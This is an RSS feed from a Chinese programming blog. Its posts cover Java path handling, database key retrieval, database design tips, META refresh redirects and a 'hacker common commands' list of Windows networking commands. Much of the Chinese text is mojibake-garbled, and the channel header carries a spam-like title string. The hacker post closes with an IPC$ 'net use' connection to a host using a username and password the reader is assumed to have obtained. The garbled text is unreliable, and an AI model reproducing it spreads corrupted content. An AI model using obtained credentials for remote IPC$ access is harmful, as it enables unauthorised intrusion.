??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲一区在线日韩在线深爱,国产97在线观看,激情福利在线http://www.aygfsteel.com/sheerfreedom/zh-cnWed, 18 Jun 2025 14:49:32 GMTWed, 18 Jun 2025 14:49:32 GMT60Java相对路径ȝhttp://www.aygfsteel.com/sheerfreedom/archive/2007/07/22/131727.htmlFNSTFNSTSun, 22 Jul 2007 07:13:00 GMThttp://www.aygfsteel.com/sheerfreedom/archive/2007/07/22/131727.htmlhttp://www.aygfsteel.com/sheerfreedom/comments/131727.htmlhttp://www.aygfsteel.com/sheerfreedom/archive/2007/07/22/131727.html#Feedback0http://www.aygfsteel.com/sheerfreedom/comments/commentRss/131727.htmlhttp://www.aygfsteel.com/sheerfreedom/services/trackbacks/131727.html
l对路径Q绝对\径就是你的主上的文件或目录在硬盘上真正的\径,(URL和物理\?例如Q?br>C:xyz est.txt 代表了test.txt文g的绝对\径。http://www.sun.com/index.htm也代表了一个URLl对路径?br>
相对路径Q相对与某个基准目录的\径。包含Web的相对\径(HTML中的相对目录Q,例如Q在
Servlet中,"/"代表Web应用的跟目录。和物理路径的相对表C。例如:"./" 代表当前目录,"../"代表上目录。这U类似的表示Q也是属于相对\径?br>另外关于URIQURL,URN{内容,请参考RFC相关文档标准?br>
RFC 2396: Uniform Resource Identifiers (URI): Generic Syntax,
(http://www.ietf.org/rfc/rfc2396.txt)


2.关于JSP/Servlet中的相对路径和绝对\径?br>
2.1服务器端的地址

服务器端的相对地址指的是相对于你的web应用的地址Q这个地址是在服务器端解析的(不同于html和javascript中的相对地址Q他们是由客L览器解析的Q也是说这时候在jsp和servlet中的相对地址应该是相对于你的web应用Q即相对于http: //192.168.0.1/webapp/的?

其用到的地方有:
forwardQservlet中的request.getRequestDispatcher(address);q个address是在服务器端解析的,所以,你要forward到a.jsp应该q么写:request.getRequestDispatcher(“/user/a.jsp”)q个/ 相对于当前的web应用webappQ其l对地址是Qhttp://192.168.0.1/webapp/user/a.jsp?sendRedirectQ在jsp?lt;%response.sendRedirect("/rtccp/user/a.jsp");%>

2.22、客L的地址

所有的html面中的相对地址都是相对于服务器根目?http://192.168.0.1/)的,而不?跟目录下的该Web应用的目? http://192.168.0.1/webapp/的?Html中的form表单的action属性的地址应该是相对于服务器根目录(http://192.168.0.1/)的,所以,如果提交到a.jsp 为:actionQ?/webapp/user/a.jsp"或action="<%=request.getContextPath()% >"/user/a.jspQ?br>提交到servlet为actiomQ?/webapp/handleservlet" Javascript也是在客L解析的,所以其相对路径和form表单一栗?


因此Q一般情况下Q在JSP/HTML面{引用的CSS,Javascript.Action{属性前面最好都加上
<%=request.getContextPath()%>,以确保所引用的文仉属于Web应用中的目录。另外,应该量避免使用cM".","./","../../"{类似的相对该文件位|的相对路径Q这样当文gUdӞ很容易出问题?br>

3. JSP/Servlet中获得当前应用的相对路径和绝对\?br>3.1 JSP中获得当前应用的相对路径和绝对\?br>根目录所对应的绝对\?request.getRequestURI()
文g的绝对\? :application.getRealPath(request.getRequestURI());
当前web应用的绝对\?:application.getRealPath("/");
取得h文g的上层目?new File(application.getRealPath(request.getRequestURI())).getParent()

3.2 Servlet中获得当前应用的相对路径和绝对\?br>根目录所对应的绝对\?request.getServletPath();
文g的绝对\?:request.getSession().getServletContext().getRealPath
(request.getRequestURI())
当前web应用的绝对\?:servletConfig.getServletContext().getRealPath("/");
(ServletContext对象获得几种方式Q?br>javax.servlet.http.HttpSession.getServletContext()
javax.servlet.jsp.PageContext.getServletContext()
javax.servlet.ServletConfig.getServletContext()
)

4.java 的Class中获得相对\径,l对路径的方?br>4.1单独的JavacM获得l对路径
Ҏjava.io.File的Doc文挡Q可?
默认情况下new File("/")代表的目录ؓQSystem.getProperty("user.dir")?br>一下程序获得执行类的当前\?br>package org.cheng.file;
import java.io.File;

public class FileTest {
public static void main(String[] args) throws Exception {

System.out.println(Thread.currentThread().getContextClassLoader().getResource(""));

System.out.println(FileTest.class.getClassLoader().getResource(""));

System.out.println(ClassLoader.getSystemResource(""));
System.out.println(FileTest.class.getResource(""));
System.out.println(FileTest.class.getResource("/")); //Class文g所在\?
System.out.println(new File("/").getAbsolutePath());
System.out.println(System.getProperty("user.dir"));
}
}

4.2服务器中的Javac获得当前\径(来自|络Q?br>(1).Weblogic

WebApplication的系l文件根目录是你的weblogic安装所在根目录?br>例如Q如果你的weblogic安装在c:eaweblogic700.....
那么Q你的文件根路径是c:.
所以,有两U方式能够让你访问你的服务器端的文gQ?br>a.使用l对路径Q?br>比如你的参数文件放在c:yourconfigyourconf.propertiesQ?br>直接使用 new FileInputStream("yourconfig/yourconf.properties");
b.使用相对路径Q?br>相对路径的根目录是你的webapplication的根路径Q即WEB-INF的上一U目录,你的参数文件放

在yourwebappyourconfigyourconf.propertiesQ?br>q样使用Q?br>new FileInputStream("./yourconfig/yourconf.properties");
q两U方式均可,自己选择?br>
(2).Tomcat

在类中输出System.getProperty("user.dir");昄的是%Tomcat_Home%/bin

(3).Resin

不是你的JSP攄相对路径,是JSP引擎执行q个JSP~译成SERVLET
的\径ؓ?比如用新建文件法试File f = new File("a.htm");
q个a.htm在resin的安装目录下

(4).如何ȝ对\径哪Q?br>
在Java文g中getResource或getResourceAsStream均可

例:getClass().getResourceAsStream(filePath);//filePath可以?/filename",q里?代表web

发布根\径下WEB-INF/classes

默认使用该方法的路径是:WEB-INF/classes。已l在Tomcat中测试?br>
5.d文g时的相对路径Q避免硬~码和绝对\径的使用。(来自|络Q?br>5.1 采用Spring的DI机制获得文gQ避免硬~码?br>参考下面的q接内容Q?br>http://www.javajia.net/viewtopic.php?p=90213&
5.2 配置文g的读?br>参考下面的q接内容Q?br>http://dev.csdn.net/develop/article/39/39681.shtm
5.3 通过虚拟路径或相对\径读取一个xml文gQ避免硬~码
参考下面的q接内容Q?br>http://club.gamvan.com/club/clubPage.jsp?iPage=1&tID=10708&ccID=8

6.Java中文件的常用操作Q复ӞUdQ删除,创徏{)Q来自网l)
常用 java File 操作c?
http://www.easydone.cn/014/200604022353065155.htm

Java文g操作大全QJSP中)
http://www.pconline.com.cn/pcedu/empolder/gj/java/0502/559401.html

java文g操作详解QJava中文|)
http://www.51cto.com/html/2005/1108/10947.htm

JAVA 如何创徏删除修改复制目录及文?br>http://www.gamvan.com/developer/java/2005/2/264.html

ȝQ?br>通过上面内容的用,可以解决在Web应用服务器端Q移动文Ӟ查找文gQ复?br>删除文g{操作,同时Ҏ务器的相对地址Q绝对地址概念更加清晰?br>参考URI,的RFC标准文挡。同时对Java.io.File. Java.net.URI.{内容了解透彻
对其他方面的理解可以更加深入和透彻?

FNST 2007-07-22 15:13 发表评论
]]>
获取数据库自增类型生成的主键的方?http://www.aygfsteel.com/sheerfreedom/archive/2007/07/22/131726.htmlFNSTFNSTSun, 22 Jul 2007 07:10:00 GMThttp://www.aygfsteel.com/sheerfreedom/archive/2007/07/22/131726.htmlhttp://www.aygfsteel.com/sheerfreedom/comments/131726.htmlhttp://www.aygfsteel.com/sheerfreedom/archive/2007/07/22/131726.html#Feedback0http://www.aygfsteel.com/sheerfreedom/comments/commentRss/131726.htmlhttp://www.aygfsteel.com/sheerfreedom/services/trackbacks/131726.html        Connection conn = ;
        Serializable ret 
= null;
        PreparedStatement state 
= .;
        ResultSet rs
=null;
        
try {
            state.executeUpdate();
            rs 
= state.getGeneratedKeys();
            
if (rs.next()) {
                ret 
= (Serializable) rs.getObject(1);
            }
       
        }
 catch (SQLException e) {
        }
 
        
return ret;

FNST 2007-07-22 15:10 发表评论
]]>
数据库设计中?4个技?/title><link>http://www.aygfsteel.com/sheerfreedom/archive/2006/06/15/53008.html</link><dc:creator>FNST</dc:creator><author>FNST</author><pubDate>Thu, 15 Jun 2006 07:49:00 GMT</pubDate><guid>http://www.aygfsteel.com/sheerfreedom/archive/2006/06/15/53008.html</guid><wfw:comment>http://www.aygfsteel.com/sheerfreedom/comments/53008.html</wfw:comment><comments>http://www.aygfsteel.com/sheerfreedom/archive/2006/06/15/53008.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/sheerfreedom/comments/commentRss/53008.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/sheerfreedom/services/trackbacks/53008.html</trackback:ping><description><![CDATA[数据库的设计有很多技巧,以下׃l其中的几种Q是许多人在大量的数据库分析与设计实践中Q逐步ȝ出来的。对于这些经验的q用Q读者不能生帮硬套,死记背Q而要消化理解Q实事求是,灉|掌握。ƈ逐步做到Q在应用中发展,在发展中应用?<br /><span id="wmqeeuq" class="news-12"><p>    <strong>1. 原始单据与实体之间的关系</strong></p><p>    可以是一对一、一对多、多对多的关pR在一般情况下Q它们是一对一的关p:即一张原始单据对应且只对应一个实体。在Ҏ情况下,它们可能是一对多或多对一的关p,即一张原始单据对应多个实体,或多张原始单据对应一个实体。这里的实体可以理解为基本表。明这U对应关pdQ对我们设计录入界面大有好处?</p><p>    〖例1〗:一份员工历资料,在h力资源信息系l中Q就对应三个基本表:员工基本情况表、社会关p表、工作简历表。这是“一张原始单据对应多个实体”的典型例子?</p><p>    <strong>2. 主键与外?/strong></p><p>    一般而言Q一个实体不能既无主键又无外键。在EQR 图中, 处于叶子部位的实? 可以定义主键Q也可以不定义主?因ؓ它无子孙), 但必要有外?因ؓ它有父亲)?</p><p>    主键与外键的设计Q在全局数据库的设计中,占有重要C。当全局数据库的设计完成以后Q有个美国数据库设计专家_“键Q到处都是键Q除了键之外Q什么也没有”,q就是他的数据库设计l验之谈Q也反映了他对信息系l核?数据模型)的高度抽象思想。因为:主键是实体的高度抽象Q主键与外键的配对,表示实体之间的连接?</p><p>    <strong>3. 基本表的性质</strong></p><p>    基本表与中间表、时表不同Q因为它h如下四个Ҏ: </p><p>    (1) 原子性。基本表中的字段是不可再分解的?</p><p>    (2) 原始性。基本表中的记录是原始数据(基础数据Q的记录?</p><p>    (3) 演绎性。由基本表与代码表中的数据,可以z出所有的输出数据?</p><p>    (4) E_性。基本表的结构是相对E_的,表中的记录是要长期保存的?</p><p>    理解基本表的性质后,在设计数据库Ӟp基本表与中间表、时表区分开来?</p><p>    <strong>4. 范式标准</strong></p><p>    基本表及其字D之间的关系, 应尽量满第三范式。但是,满W三范式的数据库设计Q往往不是最好的设计。ؓ了提高数据库的运行效率,常常需要降低范式标准:适当增加冗余Q达CI间换时间的目的?</p><p>    〖例2〗:有一张存攑֕品的基本表,如表1所C。“金额”这个字D늚存在Q表明该表的设计不满第三范式,因ؓ“金额”可以由“单价”乘以“数量”得刎ͼ说明“金额”是冗余字段。但是,增加“金额”这个冗余字D,可以提高查询l计的速度Q这是以空间换旉的作法?</p><p>    在Rose 2002中,规定列有两种cdQ数据列和计列。“金额”这L列被UCؓ“计列”,而“单价”和“数量”这L列被UCؓ“数据列”?</p><p>    ? 商品表的表结?</p><p>    商品名称 商品型号 单h 数量 金额 </p><p>    电视?29?2,500 40 100,000 </p><p>    <strong>5. 通俗地理解三个范?/strong></p><p>    通俗地理解三个范式,对于数据库设计大有好处。在数据库设计中Qؓ了更好地应用三个范式Q就必须通俗地理解三个范?通俗地理解是够用的理解,q不是最U学最准确的理?Q?</p><p>    W一范式Q?NF是对属性的原子性约束,要求属性具有原子性,不可再分解; </p><p>    W二范式Q?NF是对记录的惟一性约束,要求记录有惟一标识Q即实体的惟一性; </p><p>    W三范式Q?NF是对字段冗余性的U束Q即M字段不能由其他字D|生出来,它要求字D|有冗余?</p><p>    没有冗余的数据库设计可以做到。但是,没有冗余的数据库未必是最好的数据库,有时Z提高q行效率Q就必须降低范式标准Q适当保留冗余数据。具体做法是Q在概念数据模型设计旉守第三范式,降低范式标准的工作放到物理数据模型设计时考虑。降低范式就是增加字D,允许冗余?</p><p>    <strong>6. 要善于识别与正确处理多对多的关系</strong></p><p>    若两个实体之间存在多对多的关p,则应消除q种关系。消除的办法是,在两者之间增加第三个实体。这P原来一个多对多的关p,现在变ؓ两个一对多的关pR要原来两个实体的属性合理地分配C个实体中厅R这里的W三个实体,实质上是一个较复杂的关p,它对应一张基本表。一般来Ԍ数据库设计工具不能识别多对多的关p,但能处理多对多的关系?</p><p>    〖例3〗:在“图书馆信息pȝ”中Q“图书”是一个实体,“读者”也是一个实体。这两个实体之间的关p,是一个典型的多对多关p:一本图书在不同旉可以被多个读者借阅Q一个读者又可以借多本图书。ؓ此,要在二者之间增加第三个实体Q该实体取名为“借还书”,它的属性ؓQ借还旉、借还标志(0表示借书Q?表示q书)Q另外,它还应该有两个外?“图书”的主键Q“读者”的主键)Q它能与“图书”和“读者”连接?</p><p>    <strong>7. 主键PK的取值方?/strong></p><p>    PK是供E序员用的表间q接工具Q可以是一无物理意义的数字? q序自动加1来实现。也可以是有物理意义的字D名或字D名的组合。不q前者比后者好。当PK是字D名的组合时Q徏议字D늚个数不要太多Q多了不但烦引占用空间大Q而且速度也慢?</p><p>    <strong>8. 正确认识数据冗余</strong></p><p>    主键与外键在多表中的重复出现, 不属于数据冗余,q个概念必须清楚Q事实上有许多hq不清楚。非键字D늚重复出现, 才是数据冗余Q而且是一U低U冗余,即重复性的冗余。高U冗余不是字D늚重复出现Q而是字段的派生出现?</p><p>    〖例4〗:商品中的“单仗数量、金额”三个字D,“金额”就是由“单价”乘以“数量”派生出来的Q它是冗余Q而且是一U高U冗余。冗余的目的是ؓ了提高处理速度。只有低U冗余才会增加数据的不一致性,因ؓ同一数据Q可能从不同旉、地炏V角色上多次录入。因此,我们提倡高U冗?z性冗?Q反对低U冗?重复性冗??</p><p>    <strong>9. EQR图没有标准答?/strong></p><p>    信息pȝ的EQR图没有标准答案,因ؓ它的设计与画法不是惟一的,只要它覆盖了pȝ需求的业务范围和功能内容,是可行的。反之要修改EQR图。尽它没有惟一的标准答案,q不意味着可以随意设计。好的EQ图的标准是Q结构清晰、关联简z、实体个数适中、属性分配合理、没有低U冗余?</p><p>    <strong>10. 视图技术在数据库设计中很有?/strong></p><p>    与基本表、代码表、中间表不同Q视图是一U虚表,它依赖数据源的实表而存在。视图是供程序员使用数据库的一个窗口,是基表数据综合的一UŞ? 是数据处理的一U方法,是用h据保密的一U手Dcؓ了进行复杂处理、提高运速度和节省存储空? 视图的定义深度一般不得超q三层?若三层视图仍不够? 则应在视图上定义临时? 在时表上再定义视图。这样反复交q定? 视图的深度就不受限制了?</p><p>    对于某些与国家政沅R经、技术、军事和安全利益有关的信息系l,视图的作用更加重要。这些系l的基本表完成物理设计之后,立即在基本表上徏立第一层视图,q层视图的个数和l构Q与基本表的个数和结构是完全相同。ƈ且规定,所有的E序员,一律只准在视图上操作。只有数据库理员,带着多个人员共同掌握的“安全钥匙”,才能直接在基本表上操作。请读者想惻Iq是Z么? </p><p>    <strong>11. 中间表、报表和临时?</strong></p><p>    中间表是存放l计数据的表Q它是ؓ数据仓库、输出报表或查询l果而设计的Q有时它没有主键与外?数据仓库除外)。时表是程序员个h设计的,存放临时记录Qؓ个h所用。基表和中间表由DBAl护Q时表q序员自己用程序自动维护?</p><p>    <strong>12. 完整性约束表现在三个斚w</strong></p><p>    域的完整性:用Check来实现约束,在数据库设计工具中,对字D늚取D围进行定义时Q有一个Check按钮Q通过它定义字D늚值城?</p><p>    参照完整性:用PK、FK、表U触发器来实现?</p><p>    用户定义完整性:它是一些业务规则,用存储过E和触发器来实现?</p><p>    <strong>13. 防止数据库设计打补丁的方法是“三原则?/strong></p><p>    (1) 一个数据库中表的个数越越好。只有表的个数少了,才能说明pȝ的EQR囑ְ而精Q去掉了重复的多余的实体QŞ成了对客观世界的高度抽象Q进行了pȝ的数据集成,防止了打补丁式的设计Q?</p><p>    (2) 一个表中组合主键的字段个数少好。因Z键的作用Q一是徏主键索引Q二是做为子表的外键Q所以组合主键的字段个数了Q不仅节省了q行旉Q而且节省了烦引存储空_ </p><p>    (3) 一个表中的字段个数少好。只有字D늚个数了Q才能说明在pȝ中不存在数据重复Q且很少有数据冗余,更重要的是督促读者学会“列变行”,q样防止了子表中的字D|入到主表中去Q在主表中留下许多空余的字段。所谓“列变行”,是主表中的一部分内容拉出去,另外单独Z个子表。这个方法很单,有的人就是不习惯、不采纳、不执行?</p><p>    数据库设计的实用原则是:在数据冗余和处理速度之间扑ֈ合适的q炏V“三”是一个整体概念,l合观点Q不能孤立某一个原则。该原则是相对的Q不是绝对的。“三多”原则肯定是错误的。试惻I若覆盖系l同L功能Q一百个实体(׃千个属? 的EQR图,肯定比二百个实体(׃千个属?的EQR图,要好得多?</p><p>    提倡“三”原则,是叫读者学会利用数据库设计技术进行系l的数据集成。数据集成的步骤是将文gpȝ集成为应用数据库Q将应用数据库集成ؓ主题数据库,主题数据库集成为全局l合数据库。集成的E度高Q数据共享性就强Q信息孤岛现象就少Q整个企业信息系l的全局E—R图中实体的个数、主键的个数、属性的个数׃少?</p><p>    提倡“三”原则的目的Q是防止读者利用打补丁技术,不断地对数据库进行增删改Q企业数据库变成了随意设计数据库表的“垃圑֠”,或数据库表的“大杂院”,最后造成数据库中的基本表、代码表、中间表、时表杂ؕ无章Q不计其敎ͼD企事业单位的信息pȝ无法l护而瘫痪?</p><p>    “三多”原则Q何h都可以做刎ͼ该原则是“打补丁Ҏ”设计数据库的歪理学说。“三”原则是而精的原则,它要求有较高的数据库设计技巧与艺术Q不是Q何h都能做到的,因ؓ该原则是杜绝用“打补丁Ҏ”设计数据库的理Z据?</p><p>    <strong>14. 提高数据库运行效率的办法 </strong></p><p>    在给定的pȝg和系lY件条件下Q提高数据库pȝ的运行效率的办法是: </p><p>    (1) 在数据库物理设计Ӟ降低范式Q增加冗? 用触发? 多用存储q程?</p><p>    (2) 当计非常复杂、而且记录条数非常巨大?例如一千万?Q复杂计要先在数据库外面,以文件系l方式用C++语言计算处理完成之后Q最后才入库q加到表中去。这是电信计费系l设计的l验?</p><p>    (3) 发现某个表的记录太多Q例如超q一千万条,则要对该表进行水q_剌Ӏ水q_割的做法是,以该表主键PK的某个gؓ界线Q将该表的记录水q_割ؓ两个表。若发现某个表的字段太多Q例如超q八十个Q则垂直分割该表Q将原来的一个表分解Z个表?</p><p>    (4) Ҏ据库理pȝDBMSq行pȝ优化Q即优化各种pȝ参数Q如~冲Z数?</p><p>    (5) 在用面向数据的SQL语言q行E序设计Ӟ量采取优化法?</p><p>    MQ要提高数据库的q行效率Q必M数据库系l优化、数据库设计U优化、程序实现优化Q这三个层次上同时下功夫?</p></span><img src ="http://www.aygfsteel.com/sheerfreedom/aggbug/53008.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/sheerfreedom/" target="_blank">FNST</a> 2006-06-15 15:49 <a href="http://www.aygfsteel.com/sheerfreedom/archive/2006/06/15/53008.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>解决自动更新|页的技术难?/title><link>http://www.aygfsteel.com/sheerfreedom/archive/2006/06/13/52356.html</link><dc:creator>FNST</dc:creator><author>FNST</author><pubDate>Tue, 13 Jun 2006 02:17:00 GMT</pubDate><guid>http://www.aygfsteel.com/sheerfreedom/archive/2006/06/13/52356.html</guid><wfw:comment>http://www.aygfsteel.com/sheerfreedom/comments/52356.html</wfw:comment><comments>http://www.aygfsteel.com/sheerfreedom/archive/2006/06/13/52356.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.aygfsteel.com/sheerfreedom/comments/commentRss/52356.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/sheerfreedom/services/trackbacks/52356.html</trackback:ping><description><![CDATA[ <span id="wmqeeuq" class="oblog_text">通常HTML文g需要浏览者来选择览的内容,如果惌动更换显C的内容一般要用到JavaScript、JAVA或CGI{方法来完成。? <p>现在可以用META实现自动更换昄内容Q更换的旉和文仉可以自行讑֮。语句如下:  </p><p>< HEAD>  </p><p>< TITLE>h内容< /TITLE>  </p><p>< META HTTP-EQUIV="REFRESH" CONTENT="x; URL=*.*">  </p><p>< /HEAD>  </p><p>x 是刷新的旉Q单位是U?.* 是刷新的文g。?</p><p>利用< META >标签实现Web的自动蟩转。?</p><p>在Web上显CZD|q信息,隔一定秒数后Q自动蟩转到其他的Web?</p><p>面,由此可以造成新奇的效果。其实现Ҏ是在< HEAD >?lt; /HEAD >标签之间加上如下语句Q?</p><p><br />< meta http-equiv="Refresh" content="U数; url=跌{的文件或地址" >  </p><p><br />如将一个显C欢q信息的囑փQwelcome.gif存放在与HTML文档同一个?</p><p>目录中,则下面的HTML文g在浏览器中显C囑փQ? U钟后将自动?</p><p>转到世纪互联主页Q?a >http://www.cenpok.net</a></p><p>< HTML>  </p><p>< HEAD>  </p><p>< TITLE>WELCOME< /TITLE>  </p><p>< meta http-equiv="Refresh" content="3;  </p><p>url=http://www.cenpok.net">  </p><p>< /HEAD>  </p><p>< /HTML>src="/blog/welcome.gif" >  </p><p>多个内容怼而背景不同的面Q让其每隔一定时间自动相互蟩转。?/p><p>#########我的实际应用###########<br />某网需要实时读取最新的数据库资料来实现实时更新Qhttp://xxx/scriptname.asp </p><p>在该|页中加入的相关代码如下Q?/p><p><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312"><br /><meta http-equiv="Refresh" content="2; url=<%=cururl%>" > </p><p>cururl存放当前面url的变量?br />cururl=request.ServerVariables("SCRIPT_NAME")</p></span> <img src ="http://www.aygfsteel.com/sheerfreedom/aggbug/52356.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/sheerfreedom/" target="_blank">FNST</a> 2006-06-13 10:17 <a href="http://www.aygfsteel.com/sheerfreedom/archive/2006/06/13/52356.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>黑客常用命ohttp://www.aygfsteel.com/sheerfreedom/archive/2006/06/12/52169.htmlFNSTFNSTMon, 12 Jun 2006 03:54:00 GMThttp://www.aygfsteel.com/sheerfreedom/archive/2006/06/12/52169.htmlhttp://www.aygfsteel.com/sheerfreedom/comments/52169.htmlhttp://www.aygfsteel.com/sheerfreedom/archive/2006/06/12/52169.html#Feedback0http://www.aygfsteel.com/sheerfreedom/comments/commentRss/52169.htmlhttp://www.aygfsteel.com/sheerfreedom/services/trackbacks/52169.html1.最基本Q最常用的,试物理|络?
  ping 192.168.0.8 Qt Q参敎ͼt是等待用户去中断试
2.查看DNS、IP、Mac{?
  A.Win98Qwinipcfg
  B.Win2000以上QIpconfig/all
  C.NSLOOKUPQ如查看沛_的DNS
  C:\>nslookup
  Default Server: ns.hesjptt.net.cn
  Address: 202.99.160.68
  >server 202.99.41.2 则将DNS改ؓ?1.2
  > pop.pcpop.com
  Server: ns.hesjptt.net.cn
  Address: 202.99.160.68

  Non-authoritative answer:
  Name: pop.pcpop.com
  Address: 202.99.160.212
3.|络信
  Net send 计算机名/IP * (q播) 传送内容,注意不能跨网D?
  net stop messenger 停止信服务Q也可以在面板-服务修改
  net start messenger 开始信使服?
4.探测ҎҎ计算机名Q所在的l、域及当前用户名 Q追捕的工作原理Q?
  ping Qa IP Qt Q只昄NetBios?
  nbtstat -a 192.168.10.146 比较全的

5.netstat -a 昄Z的计机当前所开攄所有端?
netstat -s -e 比较详细昄你的|络资料Q包括TCP、UDP、ICMP ?IP的统计等

6.探测arpl定Q动态和静态)列表Q显C所有连接了我的计算机,昄ҎIP和MAC地址
  arp -a

7.在代理服务器?
  捆绑IP和MAC地址Q解军_域网内盗用IPQ:
  ARP Qs 192.168.10.59 00 Q?0QffQ?cQ?8Q?5
  解除|卡的IP与MAC地址的绑定:
  arp -d |卡IP

8.在网l邻居上隐藏你的计算?
  net config server /hidden:yes
  net config server /hidden:no 则ؓ开?

9.几个net命o
  A.昄当前工作l服务器列表 net viewQ当不带选项使用本命令时Q它׃昄当前域或|络上的计算Z的列表?
  比如Q查看这个IP上的׃n资源Q就可以
  C:\>net view 192.168.10.8
  ?192.168.10.8 的共享资?
  资源׃n?cd 用?注释
  --------------------------------------
  |站服务 Disk
  命o成功完成?

  B.查看计算Z的用户帐号列?net user
  C.查看|络链接 net use
  例如Qnet use z: \192.168.10.8\movie 这个IP的movie׃n目录映射为本地的Z?
  D.记录链接 net session
  例如: C:\>net session
  计算?用户?客户cd 打开I闲旉
 \192.168.10.110 ROME Windows 2000 2195 0 00:03:12
 \192.168.10.51 ROME Windows 2000 2195 0 00:00:39
  命o成功完成?

10.路由跟踪命o
  A.tracert pop.pcpop.com
  B.pathping pop.pcpop.com 除了昄路由外,q提?25S的分析,计算丢失包的Q?

11.关于׃n安全的几个命?
  A.查看你机器的׃n资源 net share
  B.手工删除׃nQ可以编个bat文gQ开q行Q把׃n都删了!Q?
  net share c$ /d
  net share d$ /d
  net share ipc$ /d
  net share admin$ /d
  注意$后有I格?
  C.增加一个共享:
  c:\net share mymovie=e:\downloads\movie /users:1
  mymovie ׃n成功?
  同时限制链接用户Cؓ1人?

12.在DOS行下讄静态IP
  A.讄静态IP
  CMD
  netsh
  netsh>int
  interface>ip
  interface ip>set add "本地链接" static IP地址 mask gateway
  B.查看IP讄
  interface ip>show address
  Arp
  昄和修改“地址解析协议 (ARP)”缓存中的项目。ARP ~存中包含一个或多个表,它们用于存储 IP 地址及其l过解析的以太网或o牌环物理地址。计机上安装的每一个以太网或o牌环|络适配器都有自己单独的表。如果在没有参数的情况下使用Q则 arp 命o显C帮助信息?

  语法
  arp [-a [InetAddr] [-N IfaceAddr]] [-g [InetAddr] [-N IfaceAddr]] [-d InetAddr [IfaceAddr]] [-s InetAddr EtherAddr [IfaceAddr]]

  参数
  -a [InetAddr] [-N IfaceAddr]
  昄所有接口的当前 ARP ~存表。要昄指定 IP 地址?ARP ~存,请用带?InetAddr 参数?arp -aQ此处的 InetAddr 代表指定?IP 地址。要昄指定接口?ARP ~存表,请?-N IfaceAddr 参数Q此处的 IfaceAddr 代表分配l指定接口的 IP 地址?N 参数区分大小写?
  -g [InetAddr] [-N IfaceAddr]
  ?-a 相同?
  -d InetAddr [IfaceAddr]
  删除指定?IP 地址,此处?InetAddr 代表 IP 地址。对于指定的接口Q要删除表中的某,请?IfaceAddr 参数Q此处的 IfaceAddr 代表分配l该接口?IP 地址。要删除所有项Q请使用星号 (*) 通配W代?InetAddr?
  -s InetAddr EtherAddr [IfaceAddr]
  ?ARP ~存d可将 IP 地址 InetAddr 解析成物理地址 EtherAddr 的静态项。要向指定接口的表添加静?ARP ~存,请?IfaceAddr 参数Q此处的 IfaceAddr 代表分配l该接口?IP 地址?
  /?
  在命令提C符昄帮助?
  注释
  InetAddr ?IfaceAddr ?IP 地址用带圆点的十q制记数法表C?
  物理地址 EtherAddr 由六个字节组成,q些字节用十六进制记数法表示q且用连字符隔开Q比如,00-AA-00-4F-2A-9CQ?
  通过 -s 参数d的项属于静态项Q它们不?ARP ~存中超时。如果终?TCP/IP 协议后再启动Q这些项会被删除。要创徏怹的静?ARP ~存,请在批处理文件中使用适当?arp 命oq过“计划Q务程序”在启动时运行该批处理文件?
只有当网际协?(TCP/IP) 协议?|络q接中安装ؓ|络适配器属性的lgӞ该命令才可用?
  范例
  要显C所有接口的 ARP ~存表,可键入:

  arp -a

  对于指派?IP 地址?10.0.0.99 的接口,要显C其 ARP ~存表,可键入:

  arp -a -N 10.0.0.99

  要添加将 IP 地址 10.0.0.80 解析成物理地址 00-AA-00-4F-2A-9C 的静?ARP ~存,可键入:

  arp -s 10.0.0.80 00-AA-00-4F-2A-9C
  At
  计划在指定时间和日期在计机上运行命令和E序。at 命o只能在“计划”服务运行时使用。如果在没有参数的情况下使用Q则 at 列出已计划的命o?

  语法
  at [\ComputerName] [{[ID] [/delete] /delete [/yes]}]

  at [[\ComputerName] hours:minutes [/interactive] [{/every:date[,...] /next:date[,...]}] command]

  参数
   \computername
  指定q程计算机。如果省略该参数Q则 at 计划本地计算Z的命令和E序?
  ID
  指定指派l已计划命o的识别码?
  /delete
  取消已计划的命o。如果省略了 IDQ则计算Z所有已计划的命令将被取消?
  /yes
  删除已计划的事gӞҎ自系l的所有询问都回答“是”?
  hours:minutes
  指定命oq行的时间。该旉?24 时Ӟ即从 00:00 [午夜] ?23:59Q的 时: 分钟格式表示?
  /interactive
  对于在运?command 时登录的用户,允许 command 与该用户的桌面进行交互?
  /every:
  在每个星期或月的指定日期Q例如,每个星期四,或每月的W三天)q行 command 命o?
  date
  指定q行命o的日期。可以指定一周的某日或多日(卻I键入 M、T、W、Th、F、S、SuQ或一个月中的某日或多日(卻I键入?1 ?1 之间的数字)。用逗号分隔多个日期V如果省略了 dateQ则 at 使用该月的当前日?
  /next:
  在下一个指定日期(比如Q下一个星期四Q到来时q行 command?
  command
  指定要运行的 Windows 命o、程序(.exe ?.com 文gQ或批处理程序(.bat ?.cmd 文gQ。当命o需要\径作为参数时Q请使用l对路径Q也是从驱动器号开始的整个路径。如果命令在q程计算ZQ请指定服务器和׃n名的通用命名协定 (UNC) W号Q而不是远E驱动器受?
  /?
  在命令提C符昄帮助?
  注释
  Schtasks 是功能更为强大的集命o行计划工P它含?at 命o行工具中的所有功能。对于所有的命o行计划Q务,都可以?schtasks 来替?at。有?schtasks 的详l信息,请参阅“相关主题”?

  使用 at
  使用 at 命oӞ要求您必L本地 Administrators l的成员
黑客常用命o
总觉的这些基东西每个人都要看以下~如果你连q些都不会那我看你要好好学习以下了!虽然是基也是重点Q这些命令也l常用到Q有什么不明白的问题可以在q或菜鸟问答区提出!梦会尽力帮大家解答Q?br />1QNET
只要你拥有某IP的用户名和密码,那就用IPC$做连接吧Q?
q里我们假如你得到的用户是hbxQ密码是123456。假讑֯方IP?27.0.0.1
net use \\\\127.0.0.1\\ipc$ "123456" /user:"hbx"
退出的命o?
net use \\\\127.0.0.1\\ipc$ /delte
